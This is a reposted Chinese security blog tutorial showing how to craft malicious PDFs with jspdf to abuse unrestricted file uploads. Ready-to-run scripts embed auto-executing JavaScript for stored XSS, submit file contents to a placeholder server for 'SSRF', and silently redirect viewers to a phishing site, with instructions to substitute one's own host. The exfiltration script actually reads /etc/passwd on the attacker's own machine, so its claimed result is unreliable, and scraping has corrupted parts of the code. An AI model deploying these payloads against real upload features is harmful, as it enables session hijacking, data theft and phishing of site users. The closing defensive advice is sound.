不受限制的文件上传导致StoredXSS、SSRF和钓鱼攻击

admin 2026-01-21 00:45:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章演示利用jspdf生成含恶意JavaScript的PDF,在上传校验缺失的场景下触发存储型XSS、SSRF及钓鱼跳转:通过PDF注释注入JS实现自动弹窗、外带/etc/passwd并回传至攻击者服务器、静默重定向钓鱼站,证明仅校验扩展名无法防御,必须将任何上传视为不可信输入并禁用PDF内嵌脚本。 综合评分: 86 文章分类: 漏洞分析,WEB安全,渗透测试,红队,安全开发


cover_image

不受限制的文件上传导致 Stored XSS、SSRF 和钓鱼攻击

haidragon haidragon

安全狗的自我修养

2026年1月20日 16:29 湖南

官网:http://securitytech.cc

#

漏洞根因(Root Cause)

由于对用户上传文件的校验和过滤不当,攻击者可以上传包含恶意 JavaScript 的 PDF 文件。

应用程序盲目信任上传的 PDF,要么直接提供给用户下载,要么使用内置 PDF 预览器渲染,从而触发漏洞。


概述

本文将构造带有 JavaScript 的恶意 PDF,当它被上传到存在漏洞的应用后,可以触发:

  • Stored XSS(存储型跨站脚本)
  • SSRF(服务端请求伪造)
  • 钓鱼攻击(Phishing)

攻击核心在于:应用程序无条件信任 PDF,并直接展示或解析。


前置条件

  • 了解 XSS、SSRF、钓鱼攻击
  • 本地安装 Node.js
  • 安装 jspdf
npm install jspdf

一、通过 PDF 实现 Stored XSS


构造 Payload(带 JS 的恶意 PDF)

使用 jspdf 生成一个在打开时自动执行 JavaScript 的 PDF。


创建 PDF 的代码

const { jsPDF } = require("jspdf");
var doc = newjsPDF();
doc.createAnnotation({
bounds: { x: 0, y: 10, w: 200, h: 200 },
type: "link",
url: `/)            >> >>
&nbsp; &nbsp; <</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`,
});
doc.text(20,&nbsp;20,&nbsp;"Happing Coding");
doc.save("noclick.pdf");

演示效果

打开生成的 PDF,如果成功,会自动弹出 alert(1)

XSS 成功确认。


真实攻击场景

  1. 攻击者上传恶意 PDF。
  2. 受害者打开 PDF 时,JS 自动执行。

影响

  • 执行任意 JavaScript。
  • 若 PDF 在站内预览,代码运行在目标域名上下文。
  • 可用于窃取 Cookie、劫持会话、加载恶意脚本。

二、通过 PDF 实现 SSRF


构造 Payload

利用 PDF 中的 JavaScript 强制向攻击者服务器发请求,从而检测或利用 Blind SSRF

把 https://example.com 换成你的服务器、Burp Collaborator 或 webhook.site。


创建 PDF 的代码

const&nbsp;{ jsPDF } =&nbsp;require("jspdf");
const&nbsp;fs =&nbsp;require("fs");
const&nbsp;targetFile =&nbsp;"/etc/passwd";
let&nbsp;stolenData =&nbsp;"File not found";

try&nbsp;{
&nbsp; stolenData = fs.readFileSync(targetFile,&nbsp;"utf8");
}&nbsp;catch&nbsp;(e) {
&nbsp; stolenData =&nbsp;`Error:&nbsp;${e.message}`;
}

var&nbsp;doc =&nbsp;newjsPDF();
doc.createAnnotation({
bounds: {&nbsp;x:&nbsp;0,&nbsp;y:&nbsp;10,&nbsp;w:&nbsp;200,&nbsp;h:&nbsp;200&nbsp;},
type:&nbsp;"link",
url:&nbsp;`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(STOLEN)/V(${stolenData.replace(/%/g,&nbsp;"%25").replace(/\(/g,&nbsp;"%28").replace(/\)/g,&nbsp;"%29")})>>/A<</S/JavaScript/JS(
&nbsp; &nbsp; app.alert('File exfiltrated!');
&nbsp; &nbsp; this.submitForm('https://example.com', false, false, ['STOLEN']);
&nbsp; )/`,
});
doc.text(20,&nbsp;20,&nbsp;"Click to see the magic");
doc.save("URI_ssrf.pdf");

演示流程

  1. 替换 example.com 为你的 collab 地址。

  1. 生成 PDF:
node URI_ssrf.js
  1. 打开 PDF。

  1. 服务器接收到外带数据。

成功接收到 /etc/passwd 内容。


真实攻击场景

  • 检测 Blind SSRF。
  • 枚举内网接口。
  • 联动 LFI、路径遍历。

影响

  • 绕过防火墙。
  • 访问内网服务。
  • 读取本地敏感文件。

三、通过 PDF 实现钓鱼跳转


重定向 Payload

打开 PDF 自动跳转到钓鱼站点。

替换 https://example.com 为你的钓鱼域名。

const&nbsp;{ jsPDF } =&nbsp;require("jspdf");
var&nbsp;doc =&nbsp;newjsPDF();
doc.createAnnotation({
bounds: {&nbsp;x:&nbsp;0,&nbsp;y:&nbsp;10,&nbsp;w:&nbsp;200,&nbsp;h:&nbsp;200&nbsp;},
type:&nbsp;"link",
url:&nbsp;`/blah)>>/A<</S/URI/URI(https://example.com)/Type/Action>>/F 0>>(`,
});
doc.text(20,&nbsp;20,&nbsp;"Test text");
doc.save("phishing.pdf");

影响

  • 用户被静默跳转。
  • 可窃取账号密码。
  • 利用文档信任度提高成功率。

总结(Takeaway)

很多人测试上传功能只关注扩展名绕过。

但即使限制为 PDF,也可以利用旧版或不安全的 PDF 库注入 JavaScript,实现:

  • Stored XSS
  • SSRF
  • LFI
  • Phishing

任何文件上传都必须被视为不可信输入。

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《不受限制的文件上传导致 Stored XSS、SSRF 和钓鱼攻击》

评论:0   参与:  0